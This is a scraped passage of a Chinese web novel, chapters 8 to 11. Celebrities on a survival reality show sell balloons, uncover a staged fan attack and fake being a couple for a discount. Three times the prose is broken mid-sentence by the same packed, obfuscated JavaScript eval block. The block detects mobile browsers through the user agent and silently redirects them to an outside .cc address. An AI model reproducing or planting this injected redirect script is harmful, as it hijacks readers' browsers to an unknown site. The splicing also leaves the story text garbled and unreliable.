“尾款，怎么结？”女生问。 “等老板过来。”安保看了眼手机上的时间，抽着剩下来的半只烟，烟还没抽完，一个女人自小径走了过来，安保斜眼看见了，掐了烟喊了句“孙姐。” 柏淞藏在树后，视野清晰，他认识那个女人，星火宣传部门的主管，之前和自己工作室有过往来。他本就不算好看的脸色这时候阴沉得吓。 “尾款在这里。”孙姐手上拿着个信封，“我先和你说清楚了，等会儿出去了，你就把今天的事情忘了，记住你就是楚余苔黑粉，就是自发的，自己想来骂他的，懂我意思吗？” 鸭舌帽女生接过信封迫不及待的打开，一边数一边点头，“我懂我懂，我本来就不喜欢他，没想到为了流量演这戏。” 她说着眼睛一转，又道：“你们也没说还有报警这一出啊，我还以为真要找警察呢，把我吓得够呛，这你们是不是得给我点精神损失费？” 孙姐红唇微启，她笑道：“小妹妹，你搞错了状况，如果我想我可以现在直接把你送进警察局，你现在能拿到这笔钱也是我为人守信。你最好保守住秘密好好做人，否则……”她上下扫了眼对方，嗤笑了声。 戴鸭舌帽的女生一下子就不敢说话了，讪笑两声，鹌鹑般收了钱换了身衣服，从小路走了。 柏淞两方权衡了一下，跟了上去，一边给助理打了电话，“喂，我拍个照片给你，帮我找一下人，按寻衅滋事报警处理。” 挂了电话，他拍照将图片发了过去，心中厌恶不已，原本只是炒cp这事心有芥蒂，没想到楚余苔为了热度什么下作手段都能使，游乐场刚才人流量这么大，要是真不小心砸中了无辜的路人又怎么办。 他搞不懂纪渝怎么会这么喜欢这个劣迹斑斑的男人，欠收拾。 昏暗处路灯下，局促地站在一边的“安保人员”踌躇着开口：“孙姐，今天这出这么突然，人也是临时找的，恐怕……” “恐怕？这个时候你知道怕了！”她白了对方一眼，“让你跟着小少爷听他的话，你真是什么都听啊！下次他让你杀人你去不去？！事情都做完了喊我来给你擦屁股了？” 她停下来缓了口气想到楚余苔和公司目前的关系，她也没有那么纠结了，“幸好也没事，到时候那女的反水咬我们一口，也能推到楚余苔身上说是他个人行为。” 走之前她还是忍不住骂道：“你以后少把手机给小少爷，他看了就生气，一生气就整这些幺蛾子。妈的，老娘加班还没加班费，净给你们免费当妈了。” 8. 第 8 章 楚余苔这边，纪渝和安保人员一起疏散了聚集的人群，正好也到了游乐场关门的时间，楚余苔将自己的东西收了起来，远远地看见柏淞逆着人群走了过来。 他长得高，在人群中鹤立鸡群般，不断地有人停下来偷拍他，又引发一场小骚动。 楚余苔不知道是不是自己的错觉，总觉得柏淞脸色比之白天更臭了一点。 ……可能是晚上灯光暗没看清，他安慰了一下自己。 纪渝把身上的绷带胡乱解了下来，乱糟糟团成个球，他见柏淞过来了喊了声“哥”，又问：“哥，你车停哪个门的呢？” 柏淞抬手弹了他一个脑瓜崩，“嗒”的一声脆响，纪渝嗷嗷两声捂着脑门。 “你大晚上才和我说晚上还有人一起，我去哪儿给你找车去。”他换了身常服更显得不俗，神色冷淡，周身一副拒人于千里之外之感。 “那哥你是……”纪渝才想起来今时不同往日，现在大家都穷穷的，打车都没钱。 “你俩手机都不能扫码对吧”柏淞叹了口气，“还能咋办，你俩也不能扫共享单车，走路回去吧。” 纪渝噢一声，想了想左右一手牵着一个，“走吧走吧，走回去得半小时呢。” 这一牵，柏淞和楚余苔两个人之间也离得极近。 柏淞个子高，视线滑过纪渝的头顶直接与楚余苔对视，看着楚余苔略带讨好的笑，他又想到了方才偷看到的那场自导自演的戏。 柏淞出道后因为运气好，拍的第一部电影演的男二，却出乎意料的爆了，也是出道即巅峰，一直都站在高位。他与楚余苔的出道历程极为相似，他想不通楚余苔搞这一通是为的什么，难道他还需要升咖吗？他一个歌王，还能升哪里去，又何必用这种下作手段？ 柏淞冷淡地移开视线，抽出手走在了最前面。 纪渝挠挠头，牵着楚余苔像两只小鸡仔一样追着柏淞，气氛略过于沉闷，作为一个职业爱豆，他坚决不能让场子冷下来，遂开口：“小苔哥哥，你怎么还会做气球玩偶的啊，而且还做的这么好。” 他眼睛里的崇拜做不得假，楚余苔有些好笑，不知道会捏气球哪里厉害了，他道：“高中的时候学的，那个时候靠这个赚点生活费。” 他说得轻描淡写，纪渝一时间也没反应过来，顺口问：“那小苔哥哥你高中的时候成绩一定、”他一顿，想起来楚余苔是高中肄业，干咳一声僵硬的转话题，“哎呀我现在高中成绩就完全不行，一边打工一边上学，成绩一直吊车尾。” 楚余苔这才想起边上的纪渝还是个十几岁的小朋友，讶异道：“那你现在工作不是很影响学习吗。” 纪渝笑嘻嘻，“没办法嘛，得打工赚学费呀。” 他谨记自己的人设，顺着设定这般说道。 楚余苔停下脚步，轻轻摸了摸纪渝金灿灿的脑袋，手感果然和想象的一样毛茸茸，“那一定很累吧，小鱼好厉害呀。” 他犹豫了一下，看了眼前面的柏淞，压低声音问：“小鱼很缺钱吗？” 纪渝只当楚余苔和他一起演呢，点点头：“是呀是呀。” “那你等哥哥回去之后算一下今天赚的钱，哥哥和你分成，谢谢小鱼今天帮我卖了这么多气球。”楚余苔又摸了摸纪渝毛茸茸的脑袋。 纪渝乐颠颠的，人都快挂到楚余苔身上了，“那我得好好抱住哥哥的大腿，跟着哥哥赚钱。” 他说话敞亮不推诿，楚余苔被他这话逗乐了，“行，哥哥带你赚钱。” 柏淞听后面都直接哥哥弟弟上了，自己这个正牌哥哥都没这个黏黏糊糊的待遇呢，他不乐意纪渝和楚余苔关系太好，怕小孩跟着学坏，到时候也学这种不三不四的套数，有些不悦地开口：“走快点吧，磨磨蹭蹭的再走半小时都回不了家。” 纪渝见柏淞沉默这么久总算说话了，顺势也把话题往他身上接，道：“柏哥，你今天怎么不开心呢，昨天吃的那两个投诉记这么久呢？” 柏淞冷哼声：“怎么，也给你两个脑瓜崩吃吃？” 纪渝噤声不敢说话了，又走了一小段，他才开口：“我、我到了，先走了。” 他住的小区比楚余苔和柏淞要近一些，纪渝偷偷摇了摇楚余苔的手臂，挤眉弄眼地道歉，一副“不好意思要留你和这个大冰块两个人待在一起了”的模样。 楚余苔轻声笑了下，摆摆手，低声说了句“没关系”，实际心里也有些发憷。 纪渝逃跑似的一溜烟走了，只留下前头走得飞快的柏淞，和后头打着草稿想着怎么开口的楚余苔。 “柏哥……”楚余苔眼一闭心一横。 “别喊我柏哥。”柏淞现在就烦听到这个。 “噢。”楚余苔也不知道柏哥叫什么名字，他结结巴巴又开口：“哥……” 柏淞：“……” 楚余苔见他没反应，道：“哥你是在生我的气吗？” 他追在后面，看不见对方的表情，两个人走得快，路灯交隔间忽明忽暗，倒似他忐忑的心一般。 楚余苔见柏淞没回他，又问：“哥，是我做错什么了吗。” 柏淞停住脚步，光线打在他身后，逆着光神色不可捉摸，因着对方体型高大，楚余苔心里一紧，实在惶恐。 电子果蝇悬停在二人之间，持续的嗡嗡声叫他更是烦躁，他不想做得太过火，不愿在直播的时候说透这件事，楚余苔也似没事人一样，装得懵懂无知的样子。 柏淞见他这幅装模作样的样子更是火大，他大步走过去，冷着脸猛的握住楚余苔的手腕。 楚余苔还未明白怎么回事，见他过来似要动手的样子，条件反射的整个人一缩，他头往另一侧偏去，没忍住轻叫了声。 柏淞拉着楚余苔的手关了电子果蝇，看了眼楚余苔的动作直接气笑了，“你觉得我要打你？” 楚余苔呐呐没敢说话。 “你做了什么你自己心里不清楚吗。”柏淞直接道。 “我不是很明白……” “有些事情我不想说的太直白。但是你做事从来只考虑自己吗，从来不考虑后果吗？” 今天游乐场挤满了游客和粉丝，如果当时那个瓶子偏了，砸到了其他人又要怎么办？ 楚余苔听不懂，他沉默应对。 “你非得做这种事吗？”柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392189|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淞对楚余苔的第一印象其实不算太差，他有时候也觉得楚余苔和纪渝有些相似。 楚余苔低着头，黑色的短发软趴趴的，似只委屈巴巴的小狗般，他动了些恻隐之心，如果这个时候楚余苔对这些脏活露出半分不情愿，他都会帮他一把。 楚余苔没听懂是什么事，摆摊吗？他不觉得摆摊有什么丢人的，赚钱而已。“是，我需要这份工作，我也需要钱，这没什么丢人的。” 柏淞又被气笑了，他攥着楚余苔的手腕更用力了些，两个人离得近，楚余苔甚至能感受到对方的呼吸，他忍不住轻挣扎了下。 “你的决定我无权指责，但是我和你之间的事情，我希望你搞清楚，我昨天帮你只是顺手，不代表我会同意和你……”他总觉得直接说出来有些难听，“卖腐”两个字直接说出来对他这个直男而言还是太困难了。 他略过，道：“你先前做的事情那些事会让我很困扰，我希望你能搞清楚我和你之间是不可能的。” 楚余苔呆呆地重复：“你是说我之前做了，让你觉得很不适的事情……我希望你能和我……” “是。” 楚余苔脑子转不过弯，生锈般卡了很久，他钝钝地思考一番，一时间二人间只剩下呼吸声和衣料时不时摩擦的声音。 他将自己思考后的答案犹豫着吐了出来，似考试时蒙题一般，“所以，你觉得我喜欢你这件事，对你产生了很大的困扰。” “是……是什么？”柏淞动作一滞，松开了手。 楚余苔眼看着原本怒不可遏的人霎时间脸红了起来，往后倒了好几步。 “你、你……”柏淞被惊得说不出话来。 “哥、”楚余苔觉得很合理，像柏淞这样子的人，哪怕是现在是自己也忍不住心生好感，他从十几岁就确定了自己的性取向，所以对失忆前的自己喜欢柏淞这件事倒是接受良好。 “别喊我哥！”柏淞头一回见这种事情，现在都流行这样子打直球的吗，这算什么，表白？ “你刚刚说的是认真的吗，有很多人喜欢我，你和他们对我而言都是一样的，不要把自己想得太特殊。”柏淞努力管理自己的表情。 “嗯我知道的呀，因为柏哥、咳，因为你人很好嘛。”他倒也没有那种被拒绝后的失落，反而因为找到了对方生气的原因而感到愉悦——原来是因为觉得昨天我们两个人的关系太超过了，所以才这样子啊。 “你如果不喜欢，我也不会强求的，我不会要求你回应我的感情。很抱歉之前的行为让你很困扰。”他笑了下，“希望你还能和我做朋友。” 事情怎么会变成这个样子，柏淞脑子里乱作一团，他喜欢我，他什么时候喜欢的我？他哑着嗓子道：“我是直男，我只喜欢女的。” 楚余苔和他对视，迟疑道：“对不起？” 两个人相顾无言许久，柏淞这才发现自己完全被带沟里去了，“自导自演”这件事还没问出苗头，怎么就又变成了表白，自己完全落了下乘，楚余苔还没什么反应，他倒是先尴尬上了，该死，段位好高一人。 “走了，站着吹冷风吗。”柏淞僵硬转身又大步走去。 9. 第 9 章 楚余苔回去后先算了下今天的入账，抛开买气球的材料费，也赚了靠两百块钱。 他将钱五五分开，要分给纪渝的那部分仔仔细细整理好，思索片刻，他在屋内找了张纸，写了张字条夹了进去，这才放下心来。他自己也是高中就开始打工的，自然知道这有多难，刚才听纪渝说的时候就心疼小孩了，却又不敢问太多，免得伤了小孩自尊，也没有他的手机号，只能出此下策了。 他今天忙了一天，洗漱后躺在床上却莫名的没了睡意，被砸的背和过劳的腰都隐隐作痛，他辗转反侧，后趴在床上脑子里全是柏淞。他第一次“被迫”暗恋一个人，想不清楚下一步该怎么走，在床上滚了很久才迷迷瞪瞪的睡着。 这个问题楚余苔一直想到了次日中午，午休时随便吃了口东西，用便利店的热水壶煮了壶热水泡了茶，往里头放茶叶时，店内走进了一个他不想看见的人。 “听说楚老师昨天出尽了风头啊。”何迟悠哉悠哉的走了进来，他仿佛自带的阴阳怪气的味道，说出来的话万般的不好听。 “有事吗。”楚余苔没想到这种事情传的这么快，也不想和何迟多说话，随意道。 何迟也不介意他这幅模样，昨天那出戏排的紧急，效果却很好，他早起躲卫生间看了很久的热搜，说的大多都是楚余苔被打、楚余苔遍地黑粉这类的话。星火娱乐和楚余苔闹得难看，本就就打算借着节目吃完最后一波黑红的流量就老死不相往来了，何迟这般作弄公司也不管，任由这些言论发展，何迟心中没能和柏淞捆绑炒cp的火这才小了小半。 他不能和柏淞炒，那就谁都别想炒，楚余苔名声一差，昨天才有的cp苗头也被掐得死死的，论谁也不敢把这俩人凑成对了。 “我来关心一下楚老师你呀，昨天被砸的那一下可得多疼呀，也不知道现在的人哪有这么大的敌意。”他道，表面上做得确实一副关切模样。 楚余苔看了他一眼，他不好回嘴，怕吃投诉，实际心里也没有很介意。他还没想好回什么，纪渝和柏淞正巧走了进来，纪渝只听到了最后这一句，却也不关心前面说了什么，夸张道“哥！这店里好大的茶味啊！” 楚余苔一乐，给他倒了杯茶“刚泡的，一起喝一点。”他和后面的柏淞对视，又倒了一杯推了过去，柏淞先受不了视线，偏头躲开了。 楚余苔拿出了昨天装好的钱，递给了纪渝。纪渝也不看，嘿嘿一笑接了过去，亲亲热热的拿头蹭了下楚余苔的肩膀，极为黏糊的喊着哥哥。 刚进门的许云岚和穆浅浅脚步一顿，徐云岚张嘴就是调侃“小鱼，你什么时候和楚老师关系这么好了。” 纪渝晃了晃手上的信封“你们不懂，昨天小苔哥哥带我无痛赚钱了，我这不是要好好抱紧大腿吗。你们咋来了，今天菜又糊了？” 许云岚叼着个面包“是啊，这不是我师父说在我能炒好菜之前都不给包饭吗，总不会又拿工资又蹭饭的。”她付完钱，好奇道“你们动作这么快吗，已经开始赚钱了，好做吗？带带我们？正好我们钱也花差不多了还没想好怎么办。” 边上穆浅浅也点头，两个人啃着面包，看起来颇为可怜。 楚余苔不介意这个，他简单说了下昨天卖气球的行情，见有这么多人想参与，犹豫了一下道“如果我们人多也不能一起卖一样的东西，这样子没有效果，可以分为两组或者三组，我之前有想过去售卖淀粉肠，或许我们可以一起出点钱买设备，然后云岚负责去炸……” “不行！！！”穆浅浅和纪渝第一时间开口阻止，许云岚也惶恐摆手“不行不行，交给我那我们不得全赔本了吗！” 他们商量了一下谁负责做淀粉肠的时候，一边的柏淞按着手机，老旧的手机卡顿许久才转到了新页面，他看了眼手机屏幕，抬头道“无证售卖食品，罚款三千五。” 讨论声戛然而止。 “这个证……好像要申请挺久的。”许云岚道。 “那换个方案！”纪渝思索片刻“要不然买点珠子，我们卖diy手串嘛，这个应该也能赚到点钱。哥你觉得呢？”纪渝拱了下楚余苔。 楚余苔从“我好像曾经不小心违法过”的恍惚中飘了出来，他点头“行吧……” 几人又嘀嘀咕咕起了小手工，穆浅浅在宠物店工作，她道“新州公园周六周日好像有宠物集会，顺带着有很多摆摊的摊位可以申请，我去问一下我老板，周六周日我们去那边摆摊。” 何迟一直站在边上，听到这他问了句“那我们什么时候集合？” 楚余苔抬头看了他一眼，有些意外他也要一起，听他讲话的口气不像是需要摆摊赚钱的人，不过其他几人都没有什么意见，他也略过心中的不快“七点半吧？到时候我们先在公园门口集合，然后一起整理摊位。” 几人点头同意，一行人看了眼时间也匆匆散开。 有了目标之后时间也过得飞快，几天的时间一晃眼就过了，这两天晚上楚余苔也一直在游乐场卖气球，每日收益差不多在一百五左右浮动，一部分钱分给了纪渝，剩下来的钱攒起来也快靠五百了。 这两天晚上柏淞也是天天来接纪渝，三个人一同走路回去，等纪渝回家之后，他和柏淞两个人便一前一后的走，两个人都不说话。 周六的公园门口，楚余苔踩着点到的，其他几人都已经等着了，他都不需要找，人群最密集的地方就是集合的地方。 或许是这几人样貌都太出众，不说柏淞这种帅得惊为天人的，许云岚英姿飒爽、穆浅浅和纪渝两个年纪小的也乖萌可爱，就连楚余苔不喜欢的何迟，他也不得不承认对方长得温柔秀美——与他的性格有极大的反差感，机具迷惑性。 这几人站在一起，别说其他人了，楚余苔都想拿出手机拍个照。门口停留的人太多，楚余苔在外围招了招手，几人看见了一同拿着箱子和桌子走了过来。 塑料箱和桌子都是从便利店借的，又用的柏淞送快递的车运的过来，穆浅浅按照给的摊位牌子找到了位置，还算不错， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392190|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好在场地靠中心的位置，正对着草坪，人流量大。 “那分一下组吧，我们三个三个分？两个人跟着我一起去卖气球，另外三个可以在这边看摊子。”楚余苔道。 “我我我，我和柏哥跟小苔哥哥一组。”纪渝赶忙道。 “我们是不是还没换过联系方式啊，这里人那么多，互相换一下手机号吧，别等一会儿走散了都找不到人。”穆浅浅提议道。 几人互相换了下手机号，笑容有点勉强的何迟开口“我们这样分组是不是不太对呀，楚老师那边气球用得了三个人吗，我看不如四二分吧，感觉手串这里三个人忙不过来呀。” 他自然是想和柏淞分在一组的，柏淞自带流量大，许云岚是运动员，穆浅浅是女团成员，她俩粉丝基数不够大，何迟心里头是不愿意和这两个一组的。况且他和柏淞分在一组也能让他搞些小动作，到时候找点水军，这cp不就轻而易举的拉起来了。 楚余苔第一次听何迟嘴里能讲出这么顺心悦耳的话来！ 他正觉得同柏淞待在一起压力大，这几天晚上都和柏淞一起沉默暴走八百米，一想到等会还要带着一起他也尴尬，却不忍心拒绝纪渝。 楚余苔等着柏淞主动提出要走。他也没想过其他可能性，毕竟从他俩说开之后，柏淞和他就没说过话，两个人之间气氛极为冷漠。 柏淞毫不犹豫的伸手把纪渝推了过去“你和他们一组。”两个讨厌鬼里面他还是更讨厌那个讲话叽叽歪歪的何迟。 “啊？！”纪渝委屈，但是纪渝不敢反驳。 何迟一愣，还想再说话，纪渝已经眼疾手快的拽着人走了。笑话，他才不会让这个一直阴阳怪气的坏蛋和楚余苔组队。 柏淞把纪渝推出去之后才反应过来，他可以让何迟和楚余苔待一起啊，纪渝动作太快，人已经跑得没影了，他揉了揉眉心，叹气道“我跟着你吧，我负责帮你推销拉客，辛苦你制作了。” 周六周日的公园果然和游乐场不一样，一大早就聚集了小朋友们，再加上这两天还有宠物集会，闹哄哄的一片。楚余苔这边还是照旧受小朋友们的欢迎，再加上有柏淞在，也吸引了很多女生过来，楚余苔忙得手都要打结了。他和柏淞交流的很少，却异常的默契。 两个人忙了一会，方才走掉的何迟又回来了“柏老师，你们这边好忙呀，我那边没那么忙我就想着来看看，正好我来帮忙。” 楚余苔和柏淞都没回话，楚余苔是太专心了没听见，他这时候手上做着的是一个有点难度的可穿戴的气球翅膀，浑然沉浸在了自己的世界里。 柏淞则是很单纯的不想理他，烦。 “柏老师——”何迟走过去，仿佛排练过几百次一般，很自然的抬手要拉住柏淞的衣袖，柏淞手一缩，退了一步，脸上明摆着的不耐烦，迫于摄像头还在，没说话。 笑话，楚余苔这种段位的人我接不下招，你这种招数我还能着了道吗？你这小动作在楚余苔楚老师面前那可真是不够看的。 10. 第 10 章 何迟没想过柏淞做事会这么绝，他知道公司那边打招呼卖腐这件事被柏淞经纪人回绝了，但是心里还是存了点希望的，到底都是圈里混的，不至于这点面子都不给。只是稍微摆摆样子，总不会搞得太难看。 然而现在柏淞回绝的意思这么明显，他一时没控制住表情，阴沉了下去，随即又意识到在直播，勉强拉起了嘴角。 三番两次的被拒绝，何迟再想吃这波流量，这时候也有些恼了，再看边上置之度外的楚余苔，想到他和柏淞的亲密模样，心中嫉妒油然而生“柏老师宁愿和楚老师在一起，都不想和我一起？” “楚余苔不作妖，我清净些。”楚余苔等会儿作不作妖柏淞不知道，不过楚余苔没那么多小动作，那种时不时就要勾勾搭搭一下，演出一副亲密模样的人，他实在是敬谢不敏。 何迟听懂了柏淞的言外之意，气得脸都扭了，他见楚余苔还在做他那个破气球，冷哼一声“楚老师做这种事情就是熟练，之前没学上的时候就靠这点手工活吃饭的吧？” 楚余苔手上动作一顿，不懂这火是怎么烧到他身上的。 刚才见那俩人间气氛不对，他便躲一边去了，没想到自己一句话不说也能引火烧身。他放下手里的气球，看着何迟，问道“我和你很熟吗？” “我认为我是事情并不值得你三番两次的拿出来讥讽我，我是没上完高中，也确实之前一直摆摊赚钱，但是我不认为这很丢人，但是你自诩高人一等的模样很丑陋。” 楚余苔也不是包子，何迟像只刺猬一样到处刺人，哪怕是块面团这时候也有三分火气了。 何迟下不来台，也意识到自己讲话太越界了，脸一白，轻声道“哎呀对不起，是我讲话太直接了，我本意不是这个，只是觉得楚老师很厉害，没想到惹楚老师生气了。” 楚余苔听不得他这种绿茶语气，他还未开口，反倒是边上的柏淞道“知道自己讲话难听就憋着，下次开口前动动脑子。” 楚余苔没忍住，笑出了声。 何迟被这俩人一来一回打得脸上青青白白，连个台阶都没得下，他牙一咬，哼一声扭头走了，这cp他是不炒了，爱谁炒谁炒！ 何迟一走，楚余苔和柏淞也就继续卖气球，柏淞这张脸吸引了无数的女生过来，有几个还拿着本子和笔，想让他签字，柏淞也就乘机让他们买气球送签名，几个女生也嬉笑着纷纷同意了。 等签完名那几个女生走了，楚余苔有些好奇，他问“那些女生为什么要问你要签名？” 柏淞宕机，他脑子里九曲八弯，甚至有些怀疑楚余苔在阴阳自己，难道我还不够有名？ 他沉默片刻，不自信道“因为……我比较帅？” 楚余苔恍然大悟般点点头“是噢，你确实是我见过的最帅的人。”楚余苔显然没有“暗恋”的自觉，脑子里还当他俩只是普通朋友，话也就极为自然的讲了出来。 柏淞没接话，表面上平静，心中恨不得赶紧离开这个是非之地。刚说完楚余苔不作妖，这家伙就开始撩人！还说得这么正经，真是，真是……！ 柏淞不知怎么应对，轻咳一声“我看何迟在这里帮你应该也够，不然我去小鱼那边看看。” 楚余苔一听柏淞要留自己和何迟这个死绿茶阴阳人待在一起，扎气球的动作一顿，慌忙拽住了要离开的柏淞的衣角，他神色为难，犹豫道“不能不走吗。” 柏淞心中又是一阵惊涛骇浪，这摄影机还拍着呢，这么多人看着呢，就这样子撒娇吗，难道不能克制一下自己吗！ 他将自己衣角抽出来，立马退了两步，拉开到安全距离。 “你也别动手动脚！”柏淞警告道。 楚余苔呐呐收手“对不起，那你和何迟一起走吧，我一个人应该也可以。”要真留他和何迟两个人在一起，他宁愿自己一个人忙死。 柏淞皱眉，他没想到楚余苔为了留他下来，简直就是无所不用其极，这种装可怜的话也说得这么顺嘴，更别提那张漂亮的脸上露出的可怜兮兮的模样，也不知道是做给谁看。 柏淞抓过还没卖出去的两个气球，冷声道“我留下来只是不想你一个人太忙，不代表我想和你待在一起”他想了想将声音压得极低，用只有他们两个人才能听见的声音道“别老是撒娇，我不会心软的。” “好……好噢？”谁撒娇，我吗？楚余苔听不懂也不在乎，反正不是和何迟两个人待在一起就行。 气球卖得很顺利，准备的材料一个上午卖掉了一半，柏淞看楚余苔扭气球看了一个上午，后面也起了玩心，自己动手学着捏了个气球小狗。 他捏的小狗歪七扭八的，只能说勉强能看出来是个东西，不像楚余苔捏的呆萌可爱，十足十的小腊肠模样。 两个人手里捏着小狗气球，也不知道是谁先开始的，用小狗气球撞了另一只小狗气球一下，两只小狗就这样在他俩手里“扭打”起来。 这场喧闹以电话铃声作为终结，楚余苔接过电话，是穆浅浅她们商量着时间也差不多了，找个地方吃饭。楚余苔接电话的时候脸上还挂着笑，方才游戏残余的笑意衬得他人柔和很多，面庞因打闹残余的粉色更是鲜嫩。 柏淞便是看着这样的楚余苔出神，若只是这样子看楚余苔，恐怕很难有人不喜欢他，方才幼稚打闹的模样也极为可爱，他只觉这人性格极其割裂，很难想象这样子的楚余苔会去请人在游乐场闹事。 一想到这里，方才的愉悦也一下子别扭起来。 “走吧，浅浅他们已经找到了店，听说还挺便宜的。”楚余苔挂了电话道，他又去喊何迟。 何迟一上午都没和他们在一起，一直在边上也不知道在做什么，这时候过去了才发现何迟身边围满了女生，吵吵嚷嚷的。 何迟显然是享受这一场景的，他见楚余苔来了略有些不快，听到要去吃饭，脸上浮现出为难之色，他对着身边的女生们道“好吧，楚老师不让我继续啦，我先走啦，拜拜。” 楚余苔说完去吃饭就转身走了，他懒得听何迟放的那些屁，自然也没听到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392191|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆粉丝的抱怨声。 …… 餐馆门口，几人集合，纪渝又极为自然的蹭到了楚余苔和柏淞边上，嘴里叽叽喳喳讲着他们那边上午的战果，他们那组生意极好，又是diy手串，只需要结账和时不时维持下秩序就行，一上午也卖掉了三分之一的货。 穆浅浅他们找的餐馆是一家私人的小饭馆，开餐馆的应该是对夫妻，老板在里头炒菜，外头是老板娘在招呼。 “你们这里有情侣吗，我们餐馆常年情侣打八折。”餐馆老板娘问道。 楚余苔一听打八折，不假思索地拉过边上的人“我俩是情侣。”他拽了拽纪渝的胳膊，忽觉高度不对，一扭头，和满脸震惊的柏淞对上了视线。 坏了，拉错人了。 两个人视线交汇，楚余苔挤挤眼睛，暗示了一把。他也心虚，知道柏淞不喜欢和自己接触，但是那可是八折！将错就错，反正手都已经牵起来了，不如先把折扣领了。 他这边反应快，纪渝反应也快，立马和穆浅浅两个人靠在一起“我俩也是情侣！” 老板娘不认识纪渝和穆浅浅，她不追星。于是上下扫了眼他们“小弟弟小妹妹，你俩这恋爱谈的有点早了吧？成年了吗。” 穆浅浅肯定道“对，我俩早恋。” 纪渝补充“早恋也是恋！” 老板娘笑了声“行行行算你们的，那这就是两对小情侣了？”她视线在许云岚和何迟间转了下，二人间离得起码有一米远，何迟也不想和“糊逼”有什么联系，这时候只是礼貌笑了下。 许云岚见何迟这态度，自然也明白，道“我俩不是一对。” 两对“小情侣”手挽着手进了餐馆，纪渝和穆浅浅两个还记得自己是爱豆，这时候纷纷偷偷摸摸的对着电子果蝇小声解释只是假装一下。 楚余苔和柏淞这对两个人都极为僵硬，手和脚都不知道怎么摆，进了门走了几步，柏淞轻声问“该松开了吧？” 楚余苔稍扭过头，余光看见老板娘还在看，一紧张，忙把手拽得更紧了些，仓促间两个人掌心相扣，楚余苔还未发现，只急急忙忙道“别，老板娘还在看呢。” 柏淞只觉掌心挤入冰凉的的一团，他的手……好小，仿佛一只手就能轻易包裹住一般，又凉得很，瞧着穿的也挺多的，这会儿还有空调，怎么手还这么冷？怎么会有一个男人的手这么软…… 柏淞越想越不对劲，猛的反应过来，甩开了楚余苔的手。 楚余苔抬头看他“不好意思噢，我本来以为边上的是小鱼，我想牵的是他。”他脸上又是一副极其可怜的模样，眉心微蹙着，面颊许是因为空调的温度染上层薄红，眼角也泛着红，实在是…… “不行，纪渝才16，还没成年！”柏淞道。 糟蹋我就行了，怎么能糟蹋我还未成年的弟弟。 不对！糟蹋我也不行啊！ 柏淞只觉自己整个人都要完了，怎么楚余苔三两句话自己就胡言乱语起来了，不对劲，十分有十二分的不对劲！ 11. 第 11 章 因着六人里有两对是“小情侣”，几个人商量之后决定三组分开点餐，再合一桌吃饭。这样子也算是占了点店家的小便宜，幸好老板娘大方，说直接给他们一整桌打八折也行。 “那哪成呢姐姐，我们分开来点就行。”纪渝嘴甜道，他长得本就是属于帅气阳光那一挂的，再一声姐姐一喊，老板娘被他乐得找不着北，“噢哟，那姐姐给你们桌多送道菜。”她笑眯眯地进了后厨。 小餐馆做的全是家常菜，他们点的也不多，三素二荤，再加上老板娘倾情赠送的一盘凉菜，也是极为丰盛的一顿午饭了。 楚余苔这一周以来，吃的不是泡面就是打折盒饭，今天这顿是他这周吃的最好的一顿了，他嘴里嚼着肉，忍不住开心得眯起了双眼。其余几人也是许久没吃过这样热腾腾的饭菜了，这时候夹筷子的速度毫不收敛，带着一副夹慢了就没了的紧迫感。 桌上有吃得急的，也有没动筷的。 何迟手上握着筷子在菜碟里翻了两下，意思意思夹了一小块花菜放在自己的碗里，一小块花菜翻了半天也没进嘴里。他时不时眼睛瞟一样用得泛黄的塑料盘子，总觉得筷子用力一点都能抠出一块皴下来，他实在是下不去嘴，这种货色的东西不配进他的嘴里。 他抬头看了眼其他人，桌上还有另一人一直未曾动筷子，他顿觉二人之间也有共同点，原先要退散的卖腐的心思又起了“柏老师，这饭菜也不对你的胃口吗？我看也是，我从小到大都没有来过这种…” 柏淞听到自己名字，回过神来，脑子里全是刚才楚余苔眯起眼睛的模样，怎么吃个小炒都这么开心，像只小猫一样，这么好养活呢。这般想着，他转头去看何迟，皱眉“你要是不吃刚才怎么不说，纯浪费钱吗？” 其他在干饭的几个人动作一顿，齐刷刷都将目光转移到何迟这边来。 节目组不干人事，只留了两百启动资金，现在大伙儿都花的差不多了，今天摆摊赚的就是后面的生活费了，也是得省着点花的，这几个身价几千万的小少爷小小姐这时候也忍不住心痛了一下——那可是钱啊！ 何迟尴尬地笑了下，心里把柏淞骂了个狗血淋头“我只是感慨一下，这也算是新的人生经历，还挺新奇的，毕竟我之前…”他嘴里那些往日奢靡生活还没吐露出来，其他人已经又齐刷刷的转过头去继续干饭了。 